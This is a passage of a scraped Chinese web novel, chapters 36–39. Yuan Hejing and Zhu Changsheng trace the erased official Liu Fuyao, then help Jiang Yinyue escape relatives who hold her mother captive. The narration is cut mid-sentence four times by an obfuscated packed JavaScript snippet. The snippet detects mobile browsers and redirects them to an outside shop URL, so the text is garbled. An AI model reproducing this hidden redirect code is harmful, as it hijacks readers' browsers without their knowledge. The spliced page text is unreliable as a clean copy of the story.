要从碎纸片上的“扶摇”推出“柳扶摇”这个人名,若没有头绪还真难以为继,毕竟这两个字寓意“乘风而起,志存高远”,在众多诗词歌赋中也广受推崇。要是有人为孩子取了这一名字,想必寄托的祝愿也是十分美好而真切的。 元和景问:“所以就是在那次柳淑兰无意说出这个名字时,此事才有了进展?” 说者无意听者有心,要是他这些年一直在调查此事,便定然不会错过这么关键的线索。 可祝长生却答:“并非如此,我能得知柳扶摇这个名字,其实比柳淑兰那晚还要早些。” 不等元和景开口问,他已十分自觉地接着说了下去:“当初在青州,你与江姑娘被两名盗贼绑架到了一家胭脂铺,你可还有印象?” 元和景嘴角一撇,道:“当然有。” 这如何能忘?分明抱着去青州找真命天子的目的,可不仅在外面鬼混被亲哥亲姐抓个正着,晚上还被贼人绑架,要不是十一及时赶到,她和江印月可就凶多吉少了。 当时为制服那两个贪财的小贼,元和景溜到外面找钱,的确发现那里是一家胭脂铺子。且十一当时也说过,祝长生赶到附近后突然有别的事情要干,所以才未亲自现身。 “所以当时你没出现,就是找柳扶摇去了?”她问。 祝长生道:“并未找到,只是看那胭脂铺招牌上的字迹十分眼熟,和那张碎纸上的别无二致,才转道去店铺老板家,问得了柳扶摇这个名字。” 元和景若有所思地点点头,心里对这个柳扶摇是越来越好奇了,半是赞叹半是疑惑地道:“竟然还能给人题字写招牌,这柳扶摇究竟是何许人也?” 正是揭秘的关键时刻,祝长生却不答,只道:“你且先看下去,待会便明白了。” 元和景不满他这卖关子的作风,碍于现下境况却不方便动手,斗嘴的话又难免错过接下来的重要信息,于是只好先将埋怨按下不表。 过往经历一帧帧在眼前闪过,有祝长生与祝老夫人的对话,也有他在大理寺里面目沉静地发号施令、审问犯人……总之在最初的不适应过后,祝长生逐渐同现在的模样越来越接近了。 前尘往事皆在今日纷至沓来,元和景心思也变得活泛,忍不住道:“所以在那之后,你就一直是祝长生了?” 对方沉默了一会,或许是在思考,又或许是在斟酌言辞,半晌后才开口:“算不得是,毕竟再如何模仿也比不得本人,只能尽力做到七八分像而已。” 不知怎的,元和景从这话里听出几分落寞的意味,顿时心里一揪,忙道:“其实也不用非要和祝长生一模一样,即便是胡拾,也能把案子处理好,把大理寺管好。所以不用非要当祝长生,胡拾就已经做得很不错了。” 她没什么安慰人的经验,心里这么想的,嘴上便这么说了,可对方听过后却没有立即回应。 是在默默难过,还是在凝神思索……元和景看不到他的表情,自然也无从知晓,可这份安静突然有些难捱,她不想就这么下去。 顿了顿,元和景决定换个轻松些的话题,于是又道:“既然你成了祝长生,那我跟他的娃娃亲你可知晓?” 此言转移话题是真,求解疑惑也是真,就算胡拾真能接受祝长生的身份和责任,但对于这份从天而降的亲事,他又是如何看待的呢? “当然知道。”男人很快回答,声音里听不出喜怒,“毕竟这门亲事,是祝长生自己求来的。” 元和景:“什么?” 她一直以为他们的娃娃亲乃是两家父母强行配对而成,所谓父母之命媒妁之言,定下了便是终身的事,可如今胡拾却告诉她,这是当年祝长生本人主动求来的? “就在你随父亲回去不久后,祝长生亲自去找了祝寺卿,恳请他向元将军提出结亲一事,他以前从未要过什么,却偏偏在此事上破例。没过多久,元家回复说同意了,而就在当天下午,他拿着那封信在在长廊上跑了好几个来回。” “那是我见过他最开心的样子,嘴上欢呼不停,眼睛里也发着光。” 莫说旁人,就连元和景一时也没能想象出来,活蹦乱跳到处跑的祝长生究竟是什么样子。 沉默持续了很久,直到眼前忽然变得清晰,一个老朋友出现在了她眼前—— 柳淑兰。 视线比平日高了许多,元和景一时间还有些不习惯,毕竟胡拾已经成了祝长生,那么目前所见,便是祝长生的角度出发了。 四下无人,唯有两人迎面对峙,柳淑兰就跪在前面几步的地方,衣衫略乱,发髻也歪了不少,想来是周、贺两人将她押进来时用的方法并不温柔所致。 大牢里阴暗潮湿,角落的火把兀自“噼啪”地燃烧着,映得她脸上一片蜡黄。 “柳扶摇啊……她是我外甥女,当年听说了什么女子开放科举律令,就一心要去考试做官。我姐姐也是个糊涂的,本来家里就没什么钱,还非要送她去学堂念书,要我说女子读书有什么用,最后还不是要嫁……” “够了。”祝长生的声音凭空响起,冰冷且肃然,“无需废话,你将柳扶摇所有事情尽数说来便是。” 也许是在这里呆的久了,再加上此时祝长生还算好气,柳淑兰之前的害怕已荡然无存,还有心思同祝长生讨价还价:“少卿大人,这应该跟纳兰卿的事没什么关系吧,审问归审问,罪我可都认了,但这之外的事我要就告诉你了,能有什么好处啊?” 果然是生意人,脑子一清醒就开始琢磨利益好处,元和景有些无奈地叹了口气,随后便听见祝长生冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023007|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“大理寺办案,你只管配合就是,若是不愿说……本少卿自然有的是办法让你开口。” 说着,他的目光不留痕迹地在身侧那面墙上扫过,看似漫不经心,实则每一步都在计算之中,因为元和景也借此看清了那上面各式各样闪着寒光的刑具。 夹棍、藤条、烙铁,刀具…… 啧啧,不愧是少卿,恐吓人的本事还真有一套。 而不出意外的是,柳淑兰也被这一眼吓得汗毛倒竖,立马老老实实将事情接着道来—— “回……回少卿,刚才不是说柳扶摇要考科举嘛,她也确实考上了,是咱们苍山县的第一个举人。本来还打算往上考,但我姐身体一年不如一年,她也就留在县里做了县丞。可一个女人当官多不像话啊,所以她没少挨乡亲们的白眼,我们这些亲戚也都轮着去劝,她就是不听……” 说话间,柳淑兰脸上满是愤恨和不甘,显然在她眼里,女子就该老老实实地结婚生子,别的什么也不能干,即便如今女子可入仕做官的律令已推行了近二十年。 南风馆在京城开了那么久,柳淑兰身为这人来人往之地的话事人,又怎会对此毫无了解、毫无改观? 因此她是认为此法不妥,还是望尘莫及而心生怨怼,也就无人可知了。 也许是已经忍到了极限,回忆中的祝长生原本还缄口不言,现在却忍不住反驳:“一个人能否为官不在于性别出身,而在于能力品行。柳扶摇虽一开始遭人非议,可之后还有外出做生意的苍山县人请她亲自题写招牌,这便说明她绝非一无是处。” “诶……诶……” 柳淑兰脸色难看了几分,心不在焉地把祝长生的话应下后,过了好一会才又开口:“少卿也没说错,她之后的确做出了点实事,给乡亲们带来不少好处,所以慢慢的也就没什么人再说她。大家在路上遇到了,还主动叫一声‘柳县丞’。” 听及此,元和景已然明白,祝长生所说“外出做生意的苍山县人”,应当就是青州那家胭脂铺的老板,而正是因为柳扶摇任县丞时勤勉认真,一心为民,彻底改变了女子做不了官的偏见,最终才能被大家认可至如此程度。 可这其中究竟吃了多少苦头、挨了多少谩骂,元和景想不出来,也不愿去想。 “既然如此,那柳县丞如今身在何处?任何职做何事?” 要是方才所说非虚,柳淑兰作为苍山县人,同时还是柳扶摇的二姨,不应该对柳扶摇现下境况一无所知。可她表情复杂,嘴唇嗫嚅着就是吐不出一个字。 双方一时无言,气氛蓦地凝重起来,连元和景也设身处地地升起几分紧张感来。 这样一位聪慧坚韧的奇女子,若能按照原轨迹顺利发展下去,先不论钱财官职如何,如今至少在民众心里,她定然已是一位政绩颇丰、广受爱戴的好官了。 铁窗外忽然吹进一阵凉风,火苗狂乱地跳动着,时隐时现时明时暗,将牢内带入一片诡谲的沉默之中。 柳淑兰忍不住打了个寒颤,然后才战战兢兢地说:“她……她十年前就死了。” 37. 未落之吻 “死了?” 历经艰辛从科举走到官场,从备受白眼到民心所向,明明前路已是柳暗花明,柳扶摇为何会在这种时候突然离世? 当时的祝长生俨然也跟元和景有同样的疑惑,所以他立马问道:“你可知她是为何而死?被何人所害?” “这我哪知道啊。”不知想到了什么,柳淑兰轻飘飘地翻了个白眼,面上浮现几分嘲讽,“说是因公事出差,结果去了就没回来了,八成是妄想当官老爷遭天谴了呗……我就说女人当官准没好下场。” 她虽然嘴上不带把门,但还是顾及着祝长生在场,后面的话越说越小声,不过连传入元和景耳里都不是什么难事,这点遮掩可谓是聊胜于无。 随着柳淑兰的脸消失于眼前,周身终归于一片黑暗,唯有额头上传来的温度清晰而真实。 元和景下意识睁开眼,两道视线在毫厘之间蓦地相撞,澄澈的琥珀色瞳孔中只映出一张泛着微红的脸,有轻而微暖的风洒在鼻尖,她知道那是祝长生的呼吸。 像是有漩涡将脑子里的思绪全部吸了去,元和景什么也没想,也什么都想不起来,此刻究竟是在看祝长生的眼睛,还是透过这双眼在看自己,她分辨不清楚,可也无心去分辨。 直到她眼睁睁看着对方的目光下移、下移…… 然后停在了自己的唇上。 祝长生的睫毛并不长,但总给元和景快要扫到脸上的错觉,眼睫扑闪间,有她看不懂的情绪在其中出现、翻涌,将那一片浅淡琥珀色逐渐染得深沉。 这种感觉,跟她方才在床上看祝长生时很像…… 虽然时间不同,但或许他们都有同样的想法,元和景想。 可来不及思考更多,一个可怕的认知更快侵袭了她的脑海:方才忙着和祝长生说话,吃过饭后她漱口漱得囫囵,万一现在嘴上沾了东西,那自己看起来岂不是很可笑? 身体里每一个细胞都叫嚣着无地自容,元和景立马用力一推,将两人之间的距离恢复了安全。 她光顾着着急,手上却忘记收敛力气,直接将祝长生推倒在了小榻里侧。 男人反应不及,身体失去重心后以近乎飞出的方式砸在了榻上,眼前一切发生得太快,他不得不先闭上眼睛厘清现状,皱眉的瞬间,一声不爽的轻啧也从口中吐出。 本以为能借机得到更多,这一遭却是把好不容易堆起的氛围尽数破坏了,祝长生头疼地叹了口气,再睁眼时,心头依然有淡淡的遗憾挥散不去。 “呃……所以前几天你去苍山县,就是调查柳扶摇做官记录的吧?” 幸好脑子在这时转得很快,再加上前面有了找人的经验,元和景不怎么困难地得出了这一猜测,也好把这不尴不尬的气氛调节调节。 她还在庆幸自己的急中生智,可她不知道的是,祝长生现在什么也不想聊,什么也不想说,更别提这种煞风景的正事了。 重重地吐出一口气后,男人总算找回些理智,他有些疲惫地答道:“嗯,之前让云青同你去户房,也是为此。” 见他还能跟自己说话,元和景那颗悬在半空的心才总算安定下来,追问:“既如此,那结果如何?” 祝长生缓慢地摇了摇头,道:“都是一无所获,这两个地方毫无柳扶摇在任时的记载。” 元和景心道不对,连忙说:“不应该啊,若这只是柳淑兰的一面之词,那胭脂铺老板那边又如何解释?既然柳扶摇在苍山县为官,无论多久都该有记录才是,怎会一点痕迹也找不到?” 说着,她又突然想起另一件事,有些闷闷不乐地嘟哝道:“那杜少桓是因为离家太远且失去人身自由,户房里才没有记载,可柳扶摇人在老家还当了官……” “诶,你向当地的乡亲们问过了吗?” 也许是觉得这可作为一个突破口,元和景有些兴奋地坐起身来,可很快她就被祝长生兜头泼了盆凉水—— “我专程拜访了几位年纪稍长的百姓,这才得知苍山县曾有过大规模的人口引入,再加上地域偏僻原住民流失严重,现在大部分人都对十年前的苍山县知之甚少,而对于柳扶摇这个人,更是一概不知。” “那官员呢?有些还是柳扶摇的同事吧,他们总能知道。”元和景不死心地问。 尾音落进空气里没了下文,沉默来得突然,元和景眼中的光也渐渐暗淡了下去,她明白,或许这就是祝长生的回答。 半晌,男人平静的声音响起:“苍山县如今在职的官员,皆是这些年从其他各地调任过来的,最早的可追溯到十年前。可据他们所说,当年在上任时,苍山县县丞的位置便已经空了。” “而其他的老官员,调离的调离、归乡的归乡,当年在这上面的记录也并不完善,就算想找也是无从下手。” 在这世上,要想隐藏一个人存在过的踪迹谈何容易?因为即便肉身死了,他所交往过的人、做过的事和走过的路都会留下蛛丝马迹……可如今,柳扶摇在苍山县的过往,却是真真切切地被抹除了。 若不是机缘巧合下遇到了柳淑兰和胭脂铺老板,他们就算找一辈子,也未必能将碎纸上的“扶摇”二字和柳扶摇联系起来。 究竟是什么样的人物才能做到这种程度、柳扶摇为何能与之产生联系,她又是因何而死……这一切还都是未知数。 而真正的祝长生死前手里正捏着这片碎纸,是否能说明祝家之祸和这件事也关系匪浅呢? 虽然把祝长生和胡拾之间的过往弄清楚了,可更多的谜团又纷至沓来,元和景只觉得一个头两个大,明明才刚醒不到一个时辰,她现在却只想不管不顾地睡过去算了。 还是梦里好啊,什么都不用想,什么都不用做。 怏怏地发了会呆后,元和景道:“那你之后打算怎么办?” 祝长生显然也疲惫到了极点,虽撑着头做出闭眼浅寐的姿态,神色却一点不见放松,声音也有些发闷:“眼下没有更进一步的线索,只能日后再去周边县区打听打听,等有头绪了再说吧。” 方才用晚膳时点了蜡,此时已燃过大半,跳跃的火光映出满室默然,一时间只有清浅的呼吸声在空气中交错。 虽然心里想着睡觉,可突然知道了这么多事,真要睡得着才是怪。元和景也不想动,干脆就和祝长生一起挤在这张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030400|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小榻上,面对着他躺下后才又出声:“你明日若是无事,要不要同我回家一趟?” 祝长生睁眼看她,眸中似有几分意外之色,不答反问:“为何想到要叫我一起回去?” 元和景先是一怔,然后有些迷茫地眨了眨眼,竟是不知该如何回答这个问题。 她虽嫁进了祝家,但人始终是自由的,想去哪里祝长生都无权阻拦。原本也只是元纪宁叫她回去一家人吃顿饭,可元和景不知怎的,下意识就想把祝长生也带上。 脑海中刚出现这个念头时,她还没觉得有什么,可现在被这么特意问出来,有些不愿细想的东西便不由自主冒了头。元和景有些别扭地移开眼,搪塞道:“不为什么,我就随口一说。” 这些不自在没能逃过祝长生的眼,可他并不拆穿,只是神神秘秘地笑道:“无妨,我已明白你的意思。” 元和景顿时警惕起来:“你明白什么了?” 祝长生挑眉:“是你自己的心思,怎的还来问我?” 元和景此刻完全沉浸在心事被戳破的恐慌中,哪里还顾得上多想,下意识就顺着他踢起了皮球:“那你明白的又未毕是我想的,你不说出来我怎么证明?” 夜色渐深,明日也还有事情要做,祝长生只好打断这场无意义的拉扯,语气无奈地道:“好了,并非是我不愿陪你,只是的确抽不开身。你且先自己回去,等日后有空闲,我准备一番后再亲自去拜访岳父岳母。” 元和景虽然听进去了,但并不打算就此罢休,她将手一抱,自顾自闭眼装睡,说:“我可没说要你陪。” “嗯,没错。”祝长生强忍住笑意,点头附和道,“是我要你陪。” 次日等元和景自然醒来时,身侧的位置已经空了。过去在大理寺学武功的一个月,她也老老实实地跟着大家辰时起酉时息,今日难得不用早起去大理寺,这一觉睡得全身上下不可谓不舒爽。 天光明媚,晨风微凉,梳洗完再用过早饭,正能赶上乘车出行的好时候。 马车在元府正门停下,还不等元和景进去后走到前厅,小梅便步履匆匆地迎了上来。 自掏心案了结后,这主仆二人见面的机会也少了许多,元和景刚要同她说话,就见小梅一脸焦急地说:“三小姐,今日凌晨时分,江小姐曾来找过你。” “江小姐……江印月?”元和景有些不确定地问。 这可怪不得她犹豫,毕竟按平常来说,江印月绝不会在凌晨找她,毕竟这时候连打鸣的公鸡都还没醒呢。 可出人意料的是,小梅回答得笃定:“就是江印月小姐,今早轮到我打扫前院,可没扫多久就听见有人敲门,打开一看,外面只有江小姐一个人,她看上去很是着急,而且说话走路都小心翼翼的,像在躲着什么。” 听她这么一说,元和景心中疑惑更甚,明明上次见面时,她还听江印月说之后要跟着父亲学打理药铺,怎么几日不见就成了这幅光景? 还不等思考更多,身后有脚步声突然响起。元和景扭头看去,只见有两男子被侍卫拦于门口,皆是陌生面孔,其中一人朝她笑吟吟地拱手道:“见过三小姐。” 38. 江家有变 元府前厅里,茶香袅袅,浮尘暗涌。元老夫人端庄坐于高位,她随意地抬了抬手,丫鬟们无声退下,唯余厅内四人一时无言。 末了,还是元老夫人打破沉默:“二位既是从江家而来的贵客,不知此次到访所为何事?” 其中一男子年纪稍长,看上去也更有发言权些,无需合计,他便很自然地接上了话:“贸然拜访实在鲁莽,只是此行事关我家小姐的人身安全,还望老夫人担待。” “今日一早,我家小姐突然失踪,府中上上下下都找过了,可还是一无所获。听闻三小姐和我家小姐素来交好,二老爷便吩咐我等前来叨扰,若三小姐知晓我家小姐的行踪,还望尽数告知,我等必将感激不尽。” 说着,两人便要起身行礼,元和景见状连忙出声阻止:“二位莫要客气,我与阿月是多年好友,出了这样的事,我定不会袖手旁观。可今日我也是刚从夫家那边回来,这些天从未见过阿月,更不知她当下身在何处了。” 听完两人所说,那江印月凌晨时来找过自己便解释得通了,如此,这也算得上是一条线索。可元和景明白,眼前两人是绝对信不得的。 江印月既能连夜出逃,必然是因为府中发生了什么事让她不得不走。且方才那人说的“二老爷”,乃是江印月的堂叔,现应在亳州经营福生堂分部,现又为何突然在京城的江府里当起了话事人? 事情来龙去脉尚未清楚,元和景不敢暴露太多,之后还需找到江印月才有论断。 “原来如此,是在下误会了,还请三小姐莫怪。” 碍于老夫人在场,两人不敢多说其他,况且元府和少卿府喜结连理的事早已传遍京城,她这一番话更是难挑出毛病,容不得他们不信。 元和景决心要隐瞒,眼下就只管将面子功夫做足,道:“两位寻人心切,本小姐可以理解,所以无需自责。” 也许是明白此行定然无功而返,他们也不再追问,悄然对了个眼神后还是最开始那人开口:“如此,我们也不再叨扰了。只是三小姐若日后有了线索,还望能如实相告,二老爷必有重谢。” 元和景:“那是自然。” 吩咐完下人送客后,元老夫人已然换了副神情,将元和景拽着翻来覆去地看,每隔一小会就要叹一口气。 “娘,你干嘛?” 元老夫人将她的手一丢,没好气道:“你看看你,脸黑得快比上你哥,身上一点肉也没有,到底是嫁人去了,还是吃苦去了?” 元和景挠了挠头,有些心虚地答:“你不是知道我学武功去了嘛……而且长姐和兄长他们都这么过来的,这也没什么。” 元老夫人从鼻腔里发出一声冷哼,显然并不接受这一说法,道:“你哥我就不说了,但纪宁可是我看着学的,就算整日习武,也不见她把自己折腾成这幅样子……” “你跟娘老实交代,祝长生是不是欺负你、虐待你了?” “没有没有。”眼见越说越离谱,元和景忙不迭解释,“我在祝家好着呢,不愁吃不愁穿,就是练功的时候晒了些太阳,黑点多好啊,走夜路也不怕吓到人了,哈哈。” 元老夫人给了她个白眼,刚要继续反驳,元和景立马指着门口说:“诶有人来了,是兄长那边的人,兴许有什么事呢。” 如她所说,有一身着软甲、腰侧佩剑的男子正迈入前厅,对两人拱手道:“见过老夫人,三小姐。” 若非有要事,元纪辛不会在此时派人前来,而就在问过后,为首那人便对元和景道:“三小姐所寻之人,眼下就在长史府。” 虽未明说,但她也知道,眼下所提及之人,除了江印月还能有谁? 想来也不奇怪,江印月虽在京城有不少朋友,但真正能交上心的也只有元和景。当时她在元家未能找到人,江家还不知什么时候就会追上来,情急之下,元纪辛的长史府的确是个不错的去处。 沉吟片刻,元和景道:“我已知晓,你们先回去。切记路上小心,莫要被人跟上了,我稍后便来。” 没再多说,两人行礼告辞后就径直离开了。还未等元和景开口,一旁的元老夫人说:“此行恐怕凶多吉少,千万马虎不得。” 见母亲一脸严肃,元和景便知道自己想得没错。江家的人既然能直接找上门来,又怎会因三言两语就彻底放下戒心?如此,现在元府周围应该已被布上眼线,她们之后的一举一动都逃不过江家人监视。 要是元和景现在就这么大摇大摆地去了长史府,那无疑是把江印月的位置直接送到他们手里。 “毕竟这是我元家的地盘,谅他们也不敢造次,我现在就吩咐人把周围排查一遍,将所有可疑人员尽数拿下。” 说完这话,元老夫人就打算动身,元和景连忙将她拉住,道:“不可!” “这样大张旗鼓,无疑是坐实了我们对此事并非一无所知,非但不能消除怀疑,更可能给家里带来危险,得想想其他办法瞒天过海才行。” 气氛一时陷入凝滞,不消片刻,元和景计上心头:“我已想到去长史府的主意,现下需去大理寺找人帮忙,家里的情况就请母亲多加看顾了。” 本以为元老夫人会询问具体的计划,她刚在心里组织好措辞,却发现对方正一脸惊奇地盯着她,半晌也未见开口。 元和景有些迷茫:“我脸上有东西?” 说着,她伸手摸了摸,可什么也没摸到。这时元老夫人叹了口气,表情似是欣慰又似是担忧,道:“没有,只是母亲突然发现,小景长大了。遇到事情成熟了许多,不会被吓得抱头鼠窜,也不再非要摇签,而是自己就能拿主意了。” “我……” 元和景眨了眨眼,明显还没反应过来,可过往经历在脑海中走马灯似的过,让她也不得不承认,或许自己早已不是过去那个胆小犹豫的元和景了。 是从什么时候开始有变化的呢?她一时也说不上来。 婚夜撞鬼、出门遇凶、狐妖纠缠,纳兰卿之死……桩桩件件虽惊心动魄,可无论少了哪一个,都无法使元和景成长为今日之模样。 更何况如今遇到麻烦时,她也不再是孤军奋战了。 笑意爬上唇角,元和景眼中闪着自己都未曾察觉的坚定,她拉过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035034|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元老夫人的手,道:“母亲不是常说女大十八变吗?可不管怎么变,我都是母亲的女儿啊……” “我还要去救江印月,晚饭应该是赶不上了,等这件事了,我带祝长生一块回来陪您吃饭。” 元老夫人点了点头,目送少女的背影消失于门口后,眉眼间才悄然流出些许怀念。外界偶有传言,说元和景并非他们亲生,所以才和老大老二之间差别甚大,可如今看来,这个女儿分明和她年轻时一模一样—— 善而不弱、勇而不莽,更重要的是,永远相信自己能做得更多更好。 从偏院转进马厩,方才元和景来时所乘的车辇就停在此处。待日上中天时,一辆马车缓缓从元府后门驶出,然后径直朝着大理寺的方向而去了。 半个时辰后,大理寺耳房里,四人分别坐于木桌各方,皆是一副严阵以待的模样。 “我们各坐一辆轿子,每半个时辰出去一人,你们就负责在街上绕圈,绕得越远越好,差不多在日落时分就可以回来了。” 元和景认真将自己的计划道来后,又重新面向其他三人,诚恳地说:“此番算是我欠大家一个人情,待事了后,我带大家上醉仙居吃顿好的,大家想怎么宰我都可以。” 贺均淡然一笑,道:“你我也算半个同僚,说这话就有些客气了,不过举手之劳而已,算不得什么难事。” 元和景刚向他投去感激的目光,便听见另一边的周子萧道:“这有什么好客气的,上次害我写了十几页案件报告的事我还没跟你算呢,等着吧,这把我必定宰你个大的!” 毕竟现在是她有求于人,再加上杜少桓案的记录对周子萧来说的确算无妄之灾,元和景便憋下这口气,很罕见地没跟他回嘴。 只有石岩两手放在桌上坐得端正,问题提得也十分切中时弊:“计划是不错,可这么多马车我们要从哪里找呢?” 既然是要甩掉藏在暗处的监视者,那元和景方才乘过的马车就不能再出现,而目前在场的几人,出行多是靠两条腿,就更别想着有专门的马车拿来用了。 元和景也被这个问题难住,一时不知道该作何应答。 计划推进受到阻碍,江印月现在如何也还一无所知,虽然知道她在元纪辛那里必然是安全的,可元和景还是没来由地着急起来。 对方在危难之际第一个找的就是自己,可她不仅当时未能出现,现在就连赶过去帮忙都做不到……如此还算是什么朋友? 这么短的时间里,要如何在不惊动监视者的情况下找来四辆马车? 日光暂且隐匿于云后,天地忽而陷入一片阴翳,连吹过的风都染上几分凉意。 不过多时,却有一道声音穿破云层,同缝隙间洒落的第一缕阳光同时出现,为眼下的低迷境况带来转机—— “你们找不到,本少卿也找不到吗?” 三人齐齐抱拳,整齐地道:“少卿大人。” 这时元和景才反应过来,他们的确很难一下子凑齐这么多车辇,可祝长生身为大理寺少卿,光他本人出行的马车就不止一辆,找他可比在这里干想有用多了。 39. 风波暗涌 待男人有条不紊地将任务都安排下去后,耳房内最后就只剩下两人。元和景尚在思索,突然发觉一侧肩膀被人不轻不重地撞了撞,与之而来的,还有几声谈不上自然的咳嗽。 她回过神来,刚扭头去看对方,就听见他状似无意的询问:“可要我陪你走这一趟?” 元和景:“?” 她见过死乞白赖求着别人帮忙的,却还没遇到过这么殷勤赶着要帮人忙的。 认真思忖过后,元和景一本正经地道:“不用,他们就算再猖狂,也不能当街对我动手。要是我也被跟上的话,在外面多绕几圈就好了。” 她这边分析得头头是道,却没发现祝长生的脸色莫名沉了几分,可万千情绪也只化作无奈的叹息,他说:“绕路一事说起来简单,但如何绕、往哪儿绕,这些都是问题。我作为大理寺少卿,被跟踪的次数只多不少,要论绕路,我也算内行。” 元和景这么一想,感觉男人说的也有道理。 “不过……这么看来你还挺惨的。”她中肯地给出评价。 毕竟手握重权,再加上大理寺的职务难免要得罪人,一旦牵扯到利益,便随时可能有性命之危。或许在他为官这些年来,被跟踪都只是微不足道的小事而已。 祝长生眉眼一撇,摇了摇头,顺着她的话叹气道:“对啊,我就是很惨。” 元和景被他故作委屈的样子逗笑,安慰似的拍拍男人肩头,义正言辞道:“别怕,等我学好武功了,我来保护你。” 这种安慰的方式怎么看怎么不像夫妻之间做的,祝长生心觉不满,但看着对方一脸正气的模样,他又一句话都说不出来了。 末了,男人只能无奈地应:“那就先多谢夫人。” 有了法子,事情做起来自然极快。不到半个时辰,便有第一辆马车晃晃悠悠地从大理寺后门离开。 “岩哥去东街,我往西走,元姑娘和少卿从北大街转入东边的长史府,贺均往城南……不错,就这么定了。”周子萧点着地图一通分析后,随手拎起佩剑,“差不多我也该出发了,回见。” 元和景也道:“回见。” 男子没回头,潇洒地举起手挥了挥又放下,转眼便大步消失在门口。 直到元和景所在的第三辆马车走出大理寺时,已经是一个时辰过后了。 规整庄严的大理寺制服被换下,祝长生着一身暗红的粗布衣服,腰间束带以布条为替,头上的斗笠还是临时朝寺中一名车夫借来的。 随着一声浑厚的喝声响起,马车开始行进,晃悠悠的车身带起轿帘止不住翻飞,瘦但结实的背影就在其间时隐时现,元和景定定地看着,心头涌起无限安然,也有无限悸动。 因为摸不准背后是否跟有暗线,祝长生先按计划去到北大街,此处向来热闹,商铺酒楼更是时有活动举行。听着外面喧闹声不断,元和景心里着急,但又怕被跟踪的人发现,只好老老实实缩在轿内,每当听得祝长生说“尚未发现可疑者”时才能稍微松口气。 又围着这条街打过两个转后,祝长生终于用力一拉马头,从路口拐进了另一条路。 元和景时刻关注着马车的举动,如此她便明白,现下可安心去长史府了。 抵达长史府后门时,已有护卫在此恭候,元和景没多想就打算进去,直到听见背后传来一声“留步”,她才后知后觉地停下来。 原因无他,现在的祝长生一身车夫打扮,长史府的人又鲜少见过这位大理寺少卿的真容,如此,就只能将他列入闲杂人等并拦在门外了。 脑子里那根弦紧绷一路,元和景却在看见男人那副窘迫姿态后笑出了声:纵然单手负于背后自成一派气度不凡,可拦于他身前的两柄剑也是分毫不让,两个护卫皆神情肃穆,大有他再不配合就拔剑的架势。 祝长生有些无奈地闭了闭眼,只能将求助的眼神放在对面的少女身上,道:“夫人救我。” 护卫闻言一脸疑惑,霎时间三道目光都聚集于元和景身上,她清了清嗓子,缓步走上前去将祝长生的手牵起,待十指扣住后才展示似的在两人面前晃晃,道:“放心吧,这是如假包换的大理寺少卿,不是什么闲杂人。” 互相递了个犹豫的眼神后,他们终究是被元和景脸上的坚定之色所说服,撤下防备后对祝长生抱拳道:“卑职不知是少卿大人到来,多有得罪,还望少卿宽宏。” “无妨。”祝长生暗暗将手心的温度反扣住,只用另一只手随意整理了衣摆,“眼下非常时期,谨慎些是好事。” 说着,他便要自顾自往前走,可还没走出多远,手就被无情地甩开了。 元和景三步并作两步地往厅堂赶,满心想着赶紧见到江印月,便把方才还亲昵牵着手的男人远远抛在了身后。 祝长生只能看着空荡荡的手无语凝噎。 长史府厅堂外,突兀响起的脚步声令屋内两人不约而同警惕起来,元纪辛更是将手按在了剑柄上,须臾后门被“哐镗”一声推开,见到来人后,他们紧绷的弦又放松下来了。 “江印月,你怎么样?” 两个姑娘刚一见面,拉上的手就没再松开过,元纪辛自知此时多余,便没有刻意出声,可等他看清接着进来的男人后,脸色又悄然黑了几分。 半月未见,江印月的变化不可谓不大,人瘦了一圈,神色看上去憔悴了许多,满脸的心事重重,眼睛也还肿着,明显是刚哭过。元和景心头止不住发沉,忙把人拉着坐下,问:“到底发生什么事了?” “我父亲去江陵采购药材,在路上遭遇了山匪……”江印月喉头滚动好几次,拼命咽下泪意后才又开口,“我和母亲头一天接到消息,第二日堂叔便上门来了,他对外称要帮忙安顿江家,实则暗中软禁了母亲,福生堂的伙计也被全部换掉,要不是母亲护着我,我根本逃不出来。” 说着,她便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039098|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 